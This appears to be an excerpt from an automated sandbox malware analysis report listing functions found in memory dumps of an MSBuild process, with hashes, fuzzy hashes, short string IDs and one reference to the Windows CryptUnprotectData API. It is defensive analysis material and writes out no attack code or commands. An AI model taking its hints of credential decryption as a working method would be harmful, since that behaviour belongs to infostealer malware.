Instruction Fuzzy Hash: E962B0B4E00269CFDB64CF69C984BDDBBF1BB49314F1482AAE819A7354D7309A81CF54

Function 06BD0F90 Relevance: 1.9, APIs: 1, Instructions: 366COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3935715898.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6bd0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a7ac44dedd361e61bb52d35d62477703bb8a5764d941aefb97c5c9562c95fe7
Instruction ID: 7742f887899c4c91fd8b2be15c15b1abf39b4bc4e5b6fa3915e98995cb5d428b
Opcode Fuzzy Hash: 7a7ac44dedd361e61bb52d35d62477703bb8a5764d941aefb97c5c9562c95fe7
Instruction Fuzzy Hash: 7F02A4B4E012298FDBA4DF69D984B9DBBF2BB49300F1481E6D409EB355E7309A81CF54

Function 00E6C880 Relevance: 1.8, Strings: 1, Instructions: 560COMMON

Download Yara Rule

Strings

\Lg, xrefs: 00E6CDC5

Memory Dump Source

Source File: 0000000A.00000002.3911559825.0000000000E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e60000_MSBuild.jbxd

Similarity

API ID:
String ID: \Lg
API String ID: 0-2236610822
Opcode ID: 7ffbca43add0d232b2a9a7a3c73aea548df1f413a68a5509dd0870b47f1bd4bd
Instruction ID: 1322c6398d01ffa81df4db7461956e8a1642d012bc1c20043d9988403c839f24
Opcode Fuzzy Hash: 7ffbca43add0d232b2a9a7a3c73aea548df1f413a68a5509dd0870b47f1bd4bd
Instruction Fuzzy Hash: 2242D374E00219CFDB54CFA9D980AADBBF1BF49304F2491AAD449EB355E730AA85CF50

Function 06BD7BA0 Relevance: 1.8, Strings: 1, Instructions: 527COMMON

Download Yara Rule

Strings

J, xrefs: 06BD7C27

Memory Dump Source

Source File: 0000000A.00000002.3935715898.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6bd0000_MSBuild.jbxd

Similarity

API ID:
String ID: J
API String ID: 0-1141589763
Opcode ID: 139b0cafd0dc0adcb766ab1ac71eb540ee6ac946ea63e7c07e8c1508a6da7826
Instruction ID: 5c790c513ad909b546287569ef36aac9715bbee82fa45be63a2640cfebc4ed87
Opcode Fuzzy Hash: 139b0cafd0dc0adcb766ab1ac71eb540ee6ac946ea63e7c07e8c1508a6da7826
Instruction Fuzzy Hash: 4F4270B4E002298FDB64CF68D984BDDBBF1BB49300F1495E6E409AB355E730AA81CF54

Function 06BD5C68 Relevance: 1.8, Strings: 1, Instructions: 513COMMON

Download Yara Rule

Strings

Fv, xrefs: 06BD6136

Memory Dump Source

Source File: 0000000A.00000002.3935715898.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6bd0000_MSBuild.jbxd

Similarity

API ID:
String ID: Fv
API String ID: 0-3112351307
Opcode ID: cea059b7f99dc49720bdd9545f6684d829436088e4eba0b873f5b3e8f65797fb
Instruction ID: 40295212d3bbcf9f5e7cf7c866470e8bb228ff4c1d293b29c6831c02e526262a
Opcode Fuzzy Hash: cea059b7f99dc49720bdd9545f6684d829436088e4eba0b873f5b3e8f65797fb
Instruction Fuzzy Hash: F332B7B5E00219CFEB64DF69C984B9DBBB2BF48300F1481E5D409AB355EB34AA85CF54

Function 079416F0 Relevance: 1.7, Strings: 1, Instructions: 426COMMON

Download Yara Rule

Strings

l8et, xrefs: 07941AA2

Memory Dump Source

Source File: 0000000A.00000002.3937891453.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7940000_MSBuild.jbxd

Similarity

API ID:
String ID: l8et
API String ID: 0-892209480
Opcode ID: f7e94233b4b130adb71b20acd07fe5d9f2c52b736b2fcf9ee217b8af4e0bf568
Instruction ID: a154f7eabaed07fceecc238f90659a32b04c10026db35acbf08b3258668e7403
Opcode Fuzzy Hash: f7e94233b4b130adb71b20acd07fe5d9f2c52b736b2fcf9ee217b8af4e0bf568
Instruction Fuzzy Hash: 0312D3B4E01219CFDB64DF69C984BDDBBB2BF89304F1082A9D409BB254DB309A85CF54

Function 06BD5C59 Relevance: 1.7, Strings: 1, Instructions: 412COMMON

Download Yara Rule

Strings

Fv, xrefs: 06BD6136

Memory Dump Source

Source File: 0000000A.00000002.3935715898.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6bd0000_MSBuild.jbxd

Similarity

API ID:
String ID: Fv
API String ID: 0-3112351307
Opcode ID: 88c6e44d67bf54b4aa7969ca5585c10ea5b3b1e8b6ab24791ea1c6086b0cce19
Instruction ID: b472410b81545a2892ef30f68fae69d611a1a3df0edeb9357083350e7a3512d6
Opcode Fuzzy Hash: 88c6e44d67bf54b4aa7969ca5585c10ea5b3b1e8b6ab24791ea1c6086b0cce19
Instruction Fuzzy Hash: 9012C4B5E01218CFDB64DF69C984B9DBBB2BF48300F1482E5D409AB255EB30AA85CF55

Function 00E6C843 Relevance: 1.7, Strings: 1, Instructions: 403COMMON

Download Yara Rule

Strings

\Lg, xrefs: 00E6CDC5

Memory Dump Source

Source File: 0000000A.00000002.3911559825.0000000000E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e60000_MSBuild.jbxd

Similarity

API ID:
String ID: \Lg
API String ID: 0-2236610822
Opcode ID: ae7c65fb141f2c9f45271ed492dcc0111f577f4d01e87341943200a55fc92cee
Instruction ID: 0fa25f9fbabb61a325e83f893ddc5a2eb14e15624eeea3808025e3dd51f4014b
Opcode Fuzzy Hash: ae7c65fb141f2c9f45271ed492dcc0111f577f4d01e87341943200a55fc92cee
Instruction Fuzzy Hash: E4128175E00219CFDB54CFA9D980A9DBBF2FF49304F2481AAD419AB355E730AA85CF50

Function 06D6C548 Relevance: 1.6, APIs: 1, Instructions: 54encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 06D6C5B5

Memory Dump Source

Source File: 0000000A.00000002.3936281119.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d60000_MSBuild.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 9b25b59402779a198c99777acc7afc8663d5d2d5b2474fbf4c69508da70c6bc2
Instruction ID: 7ef7bd97033a5f7aefe718823b15d1002bc45f58f5e94558006a8a60fc5f88ca
Opcode Fuzzy Hash: 9b25b59402779a198c99777acc7afc8663d5d2d5b2474fbf4c69508da70c6bc2
Instruction Fuzzy Hash: 8A1167B6800289DFCB11CF99C940BEEBFF1EF08310F14841AE554A7611C339A554CFA0

Function 06D6C550 Relevance: 1.6, APIs: 1, Instructions: 52encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 06D6C5B5

Memory Dump Source

Source File: 0000000A.00000002.3936281119.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d60000_MSBuild.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 27e05dfbca09d4e81357651f71f61cf5e5f6066eaf73429cb1efb5f9ab5cce7e
Instruction ID: f70abc94065f40429bccf09d83b8f667bec2b1a0dabfdf1f8b40ddfc8137e338
Opcode Fuzzy Hash: 27e05dfbca09d4e81357651f71f61cf5e5f6066eaf73429cb1efb5f9ab5cce7e
Instruction Fuzzy Hash: C21143B680024ADFDB10CF9AC945BEEBFF4EF48320F14841AE958A7610C339A554DFA5

Function 00E61060 Relevance: 1.5, Strings: 1, Instructions: 294COMMON

Download Yara Rule

Strings

5xID, xrefs: 00E61175

Memory Dump Source

Source File: 0000000A.00000002.3911559825.0000000000E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e60000_MSBuild.jbxd

Similarity

API ID:
String ID: 5xID
API String ID: 0-3965296546
Opcode ID: 16c70fcf8528140af83b66ea7086d5c33af8c4c5b9c1be91a7793bebbbfe1951
Instruction ID: 205e0a35ce5b862c022a88a38e2367ecb4563006382bf97008c702befef491e2
Opcode Fuzzy Hash: 16c70fcf8528140af83b66ea7086d5c33af8c4c5b9c1be91a7793bebbbfe1951
Instruction Fuzzy Hash: 52E1D474E002098FDB54DFA9D580A9EBBF6FF48304F2481AAD409EB355EB34AA45CF51

Function 06BD8F24 Relevance: 1.5, Strings: 1, Instructions: 267COMMON

Download Yara Rule

Strings

VU/o, xrefs: 06BD90C2

Memory Dump Source

Source File: 0000000A.00000002.3935715898.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6bd0000_MSBuild.jbxd

Similarity

API ID:
String ID: VU/o
API String ID: 0-1782851485
Opcode ID: 95ab6f028f53c71a20dd97eb9e53e7090d350f976baf12bfd76864ee2d5c000c
Instruction ID: 24ba47e12adcafc5f4369db5f607fcd809e2b712b1ebc4bdd82d25c7d41f6080
Opcode Fuzzy Hash: 95ab6f028f53c71a20dd97eb9e53e7090d350f976baf12bfd76864ee2d5c000c
Instruction Fuzzy Hash: C0C1B074E00219CFDB64DFA9D984BDDBBF1AB49314F1481AAE408EB355E7309A81CF54

Function 07C535CA Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

d:p, xrefs: 07C5367B

Memory Dump Source

Source File: 0000000A.00000002.3939159505.0000000007C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7c50000_MSBuild.jbxd

Similarity

API ID:
String ID: d:p
API String ID: 0-2286290242
Opcode ID: 4ca14390d5da090779bb79daa97fadbc193b522e2cf29aa2517c1668a2b2976a
Instruction ID: 3a156792ba1110965fe47f1f57fdfc02c64541ca7de02170936b8ca709a75eb9
Opcode Fuzzy Hash: 4ca14390d5da090779bb79daa97fadbc193b522e2cf29aa2517c1668a2b2976a
Instruction Fuzzy Hash: 0BC1C2B4E002598FDB64DF69D984BDDBBF1BB49314F1482AAE859E7350DB309A80CF44

Function 06BD7678 Relevance: 1.5, Strings: 1, Instructions: 231COMMON

Download Yara Rule

Strings

(?, xrefs: 06BD7832

Memory Dump Source

Source File: 0000000A.00000002.3935715898.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6bd0000_MSBuild.jbxd

Similarity

API ID:
String ID: (?
API String ID: 0-2424342099
Opcode ID: f911181263c2b95ecdeafc30526bd7eca1c1492c7c5c4644fe1f855c9a228e00
Instruction ID: 26d7b52fa8bd4e007114f2278654b00796f380043e63b255e9c9e0d0327166c0
Opcode Fuzzy Hash: f911181263c2b95ecdeafc30526bd7eca1c1492c7c5c4644fe1f855c9a228e00
Instruction Fuzzy Hash: 959137B5E05619CFDB64CFAAD880ADDBBB2FB89300F10D5A9D409AB355EB309945CF40

Function 06BD7B86 Relevance: 1.5, Strings: 1, Instructions: 228COMMON

Download Yara Rule

Strings

J, xrefs: 06BD7C27

Memory Dump Source

Source File: 0000000A.00000002.3935715898.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6bd0000_MSBuild.jbxd

Similarity

API ID:
String ID: J
API String ID: 0-1141589763
Opcode ID: b9730f78471b5a782db61c2cbbfd419634b85c1f0ba2e5feb59c3225e92bb617
Instruction ID: 92f667c8cd3b5aa11920dec3af6d7b6314ed220c0a70f370b18831f0fc457235
Opcode Fuzzy Hash: b9730f78471b5a782db61c2cbbfd419634b85c1f0ba2e5feb59c3225e92bb617
Instruction Fuzzy Hash: CEA117B4E00219CFDB64CF69D980BDDBBB2BB89300F14C6A6D409AB355EB709981CF54

Function 00E6B01F Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

rCI, xrefs: 00E6BA4A

Memory Dump Source

Source File: 0000000A.00000002.3911559825.0000000000E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e60000_MSBuild.jbxd

Similarity

API ID:
String ID: rCI
API String ID: 0-4128173682
Opcode ID: 985853d2b232c284d89be2517accf2ba29779754005ae35473590d554fe07b59
Instruction ID: dbbf706cea62dbb4355688d39060b9e50a0e4b4e54c8436426426a5616a25a14
Opcode Fuzzy Hash: 985853d2b232c284d89be2517accf2ba29779754005ae35473590d554fe07b59
Instruction Fuzzy Hash: EA915975E44219CFDB14CF69E980ADEBBF5AB89344F1491A6E508F7315EB309E818F40

Function 06D686D0 Relevance: 1.3, Instructions: 1321COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936281119.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d60000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 274925b0bff119fb59ed2fb8c4ba94b1ff82634403f1fcd56ab1aa649678e002
Instruction ID: 7db7c4d28f4198f77adfb04f67fd080250d352765090beb27cf57fb1e2b0124b
Opcode Fuzzy Hash: 274925b0bff119fb59ed2fb8c4ba94b1ff82634403f1fcd56ab1aa649678e002
Instruction Fuzzy Hash: 53E28C74E012298FDBA5DF69C994B99BBF5BB49300F1081EAE40DA7355DB30AE85CF40

Function 079432E8 Relevance: .9, Instructions: 877COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3937891453.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7940000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c959947ecb1f8f54c19bdb6a50555465fe809bbcbb275fb438a448d590c2bb9
Instruction ID: f2d847ade9b5762089212d80fc26946c07d2d28ea1223f5dfe285fafa7cdd465
Opcode Fuzzy Hash: 1c959947ecb1f8f54c19bdb6a50555465fe809bbcbb275fb438a448d590c2bb9
Instruction Fuzzy Hash: 09A26FB4A012298FDB64DF68C984B9DBBB1BF49304F5482EAD40DA7355DB30AE81CF54

Function 06D53FF8 Relevance: .9, Instructions: 859COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081315d0b449c85d9fb28513920ca9a30b0f17078d62566d16dfc0b4d8348241
Instruction ID: ae4b13b553c65a730b9076d5222b42ea51bceeced5e005fb44c1c0d7058d9066
Opcode Fuzzy Hash: 081315d0b449c85d9fb28513920ca9a30b0f17078d62566d16dfc0b4d8348241
Instruction Fuzzy Hash: 22A23C74E012298FDBA4DF69D984B9DBBF1BB49300F1081EAD84DA7351DB30AE818F55

Function 06D56098 Relevance: .9, Instructions: 856COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c9c4203f605a71d7de3d1f6d341dfeae45db91d66cc1f9b3e89afa815e9dbc1
Instruction ID: 575631ffa2ecca67177702b8bf048853718d089c0e18a5efb026c6f3d1097625
Opcode Fuzzy Hash: 9c9c4203f605a71d7de3d1f6d341dfeae45db91d66cc1f9b3e89afa815e9dbc1
Instruction Fuzzy Hash: 9092D474E00229CFDB64DF68C984B9DBBB2BF89300F5582A9D419AB655DB30DE81CF44

Function 07312CB8 Relevance: .6, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936995276.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7310000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cca4ab8a3d588cb9f4c550612f662d5f873999b5d1ab07094c081ca9983ee01
Instruction ID: 58d5fc77c54332005a144a86aefaf497f362cc2d6c886b3fdba26039a57d760a
Opcode Fuzzy Hash: 7cca4ab8a3d588cb9f4c550612f662d5f873999b5d1ab07094c081ca9983ee01
Instruction Fuzzy Hash: D95215B5E0020A8FDB54CFA9D984A9DBBF6BF89304F14C1A6D418E7355EB34AA45CF40

Function 0794B748 Relevance: .6, Instructions: 593COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3937891453.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7940000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e58bdb793361aa497224e5abfde348f8e7437e808b60adcfd3776fc2daa2d28
Instruction ID: 7344f444a2c29c1fc34fac3e32383c2cf69ac92bc67b0e56e39938e6fce3fc31
Opcode Fuzzy Hash: 8e58bdb793361aa497224e5abfde348f8e7437e808b60adcfd3776fc2daa2d28
Instruction Fuzzy Hash: D142E5B4E01229CFDB64DF68C994B9DB7B2BF89304F2481A9D409AB355DB309E81CF40

Function 06BDEC20 Relevance: .6, Instructions: 576COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3935715898.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6bd0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2ee5db4df7351b21d5d053b4a620637c5d7e0cfe7efdb88821c7cedb1856fad
Instruction ID: 9b3a77914561b8b6c26aeaf73db74290b782e3e07483bd426cc22f5d86310814
Opcode Fuzzy Hash: d2ee5db4df7351b21d5d053b4a620637c5d7e0cfe7efdb88821c7cedb1856fad
Instruction Fuzzy Hash: 5D529074E01229CFDB64DF69D984BDDBBB2BB49300F1481EAD419AB355EB309A81CF50

Function 0799B2BB Relevance: .6, Instructions: 573COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3938328192.0000000007990000.00000040.00000800.00020000.00000000.sdmp, Offset: 07990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7990000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4048bf57d4f242a874a60a7987b601f0d42c0f5d7f81eb2e894e8fa7d0b2ec6
Instruction ID: c78802f6b08766b1cc17b91c87fcf6a8094d93e5481478a53f4550f659c4a7cd
Opcode Fuzzy Hash: f4048bf57d4f242a874a60a7987b601f0d42c0f5d7f81eb2e894e8fa7d0b2ec6
Instruction Fuzzy Hash: 6E42F2B4E002198FEB64CF6DD981B9DBBF6BB89304F1482A6D409E7355D734AA81CF50

Function 07314334 Relevance: .5, Instructions: 546COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936995276.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7310000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9938e0f75ec98dc4c98d434bc27c7fa08cf3643c24e9d209387a0b41f1cfdf8d
Instruction ID: 0d4b4ec91d3040186be998812b0b2cef62825a21f0be2b5f155950a4373739ce
Opcode Fuzzy Hash: 9938e0f75ec98dc4c98d434bc27c7fa08cf3643c24e9d209387a0b41f1cfdf8d
Instruction Fuzzy Hash: 1E527DB4E002298FDB64CF68C984B9DBBF1BB49304F1482A6D41DE7755EB30AA858F50

Function 06D513EF Relevance: .5, Instructions: 514COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2858822a08b829c0312094200fc38dd6292b509f3da170e298266d8ff00455dd
Instruction ID: 0f1ee76291f3bbac3de65dfd5f6f95725157767340975aa718443f25766ebaa4
Opcode Fuzzy Hash: 2858822a08b829c0312094200fc38dd6292b509f3da170e298266d8ff00455dd
Instruction Fuzzy Hash: EF32F574E00229CFDB64DF69C984BEDB7B2BF89300F1482A9D409A7295DB349E81CF54

Function 06D6D071 Relevance: .5, Instructions: 499COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936281119.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d60000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8a0d5a26a7bbaba64ed5e13cf3b62a4b4846d0aeb7f3b2ea6a7d15bb90c7c8a
Instruction ID: 1cd18348dc59a6698c156e4e021312a0a3c7a6970638488274956389d439f28c
Opcode Fuzzy Hash: c8a0d5a26a7bbaba64ed5e13cf3b62a4b4846d0aeb7f3b2ea6a7d15bb90c7c8a
Instruction Fuzzy Hash: E3425E74E412298FDBA4CF69D994BD9BBF1AB49300F1081EAE81DA7351E7309E85CF50

Function 06BD85F8 Relevance: .5, Instructions: 492COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3935715898.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6bd0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ea27bcb5effd6eaf7606197cd960aaafc743e578935620c0576c273de189fc1
Instruction ID: bf83e69deaa2794f905835f4bc4131e3921dd36c4b15a2075d30c0102fceba5a
Opcode Fuzzy Hash: 8ea27bcb5effd6eaf7606197cd960aaafc743e578935620c0576c273de189fc1
Instruction Fuzzy Hash: 704270B4E00228CFDB64DF68D984B9DBBF1BB49301F1485EAD409AB355E734AA81CF54

Function 070481B0 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936602355.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7040000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c2c736a30fe41c08bf182d59725795441e227bc312d57b9d98e2adf6193aeb6
Instruction ID: 0e01b0123057d85ef88e2ddc0a93ddc41d194f773ff1b0d70ecd86f06ee9d13d
Opcode Fuzzy Hash: 6c2c736a30fe41c08bf182d59725795441e227bc312d57b9d98e2adf6193aeb6
Instruction Fuzzy Hash: 70327FB4E012298FDB64DF69D985B9DBBF1BB49300F1486EAD808E7355D730AE808F54

Function 0794D160 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3937891453.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7940000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b2df01b66732600cc6ab17b17c3756aa99cddfe2aab952d795e199ea28e5675
Instruction ID: b7777675961bd984e1eeafeef69e246bf02a3e4af2115c9dcbd7e97de8c136df
Opcode Fuzzy Hash: 3b2df01b66732600cc6ab17b17c3756aa99cddfe2aab952d795e199ea28e5675
Instruction Fuzzy Hash: 321217B8E00219CFDB24DF68C984B9DB7B6BF89314F1086A5D509AB395D730AE81CF54

Function 07314E31 Relevance: .4, Instructions: 417COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936995276.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7310000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93c94c9d9809f615581dcc11139033939ae417d420a039daa5c3453aaab7d032
Instruction ID: 899c99d6ce7c485bba3d6145ab69e5116dacd103f8c58483a27e7acae3cb15d9
Opcode Fuzzy Hash: 93c94c9d9809f615581dcc11139033939ae417d420a039daa5c3453aaab7d032
Instruction Fuzzy Hash: 6F0206B4E002198FEB54DFA8D984B9DBBB6BF89300F24C2A5D419E7355DB30A981CF54

Function 06BDDCEE Relevance: .4, Instructions: 417COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3935715898.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6bd0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10b473918eef1cd9e9571e4279dbd9122fb091b5dcb02b21d7cada7f0b112987
Instruction ID: 335cdb72a6431ad4d7ba037d713403902456a46557b7e29cf1eb79b2186f11f6
Opcode Fuzzy Hash: 10b473918eef1cd9e9571e4279dbd9122fb091b5dcb02b21d7cada7f0b112987
Instruction Fuzzy Hash: 9FF119B5E01519CFDB64CF68C884ADDB7B2EF89300F1495A5D419EB254EB34AA86CF40

Function 07991368 Relevance: .4, Instructions: 404COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3938328192.0000000007990000.00000040.00000800.00020000.00000000.sdmp, Offset: 07990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7990000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 239a0cef99ee43b484de31aea574329e3d088aafa2e3af66f25ea27adc7ef928
Instruction ID: 3cf7d61055d648f6658c6a38aab86e75bcb77908a14efcb3450b6a7ba65d6e41
Opcode Fuzzy Hash: 239a0cef99ee43b484de31aea574329e3d088aafa2e3af66f25ea27adc7ef928
Instruction Fuzzy Hash: C5F19BB1A0060ADFDF15CFACD8849AEBBF6FF49305F558529D806EB250E734A981CB41

Function 06D6C84B Relevance: .4, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936281119.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d60000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 504af08015e249639a1da7bb9ac6afa3528753e02a4ca672abcd25536e31ac13
Instruction ID: 0755baca3a4c108e93be4aa1f5645fa235bf7fdf9a953561b02932f66bac8bd2
Opcode Fuzzy Hash: 504af08015e249639a1da7bb9ac6afa3528753e02a4ca672abcd25536e31ac13
Instruction Fuzzy Hash: DA222D74E012298FDBA4CF69C981BDDBBF1BB49310F1081AAE85DE7351E7309A858F50

Function 07999EC8 Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3938328192.0000000007990000.00000040.00000800.00020000.00000000.sdmp, Offset: 07990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7990000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4d2081d8640d4147500d87b6931d165b1d4f6c23959169bdc93ea554ea9b3bb
Instruction ID: 490999d74b08184eac3363b29bfd184468bde8eba55962f9c261eed87ccf1483
Opcode Fuzzy Hash: e4d2081d8640d4147500d87b6931d165b1d4f6c23959169bdc93ea554ea9b3bb
Instruction Fuzzy Hash: D3F193B5E016188FEB54CFAAC984B9DBBB2FF89314F14C1A9D409A7365DB309985CF10

Function 06D56089 Relevance: .4, Instructions: 360COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea1323084651daac57875233d1ac3371ca0e2fe3115e2eb91921d35030ba9c34
Instruction ID: 861ee5981572475b44bfc3d10e418d6c10d787dee8bfa790440877dee5e33976
Opcode Fuzzy Hash: ea1323084651daac57875233d1ac3371ca0e2fe3115e2eb91921d35030ba9c34
Instruction Fuzzy Hash: B2F1D674E006188FEB64DF69C984B9DBBF2BF88300F55C2A9D419AB355DB319A81CF44

Function 07942040 Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3937891453.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

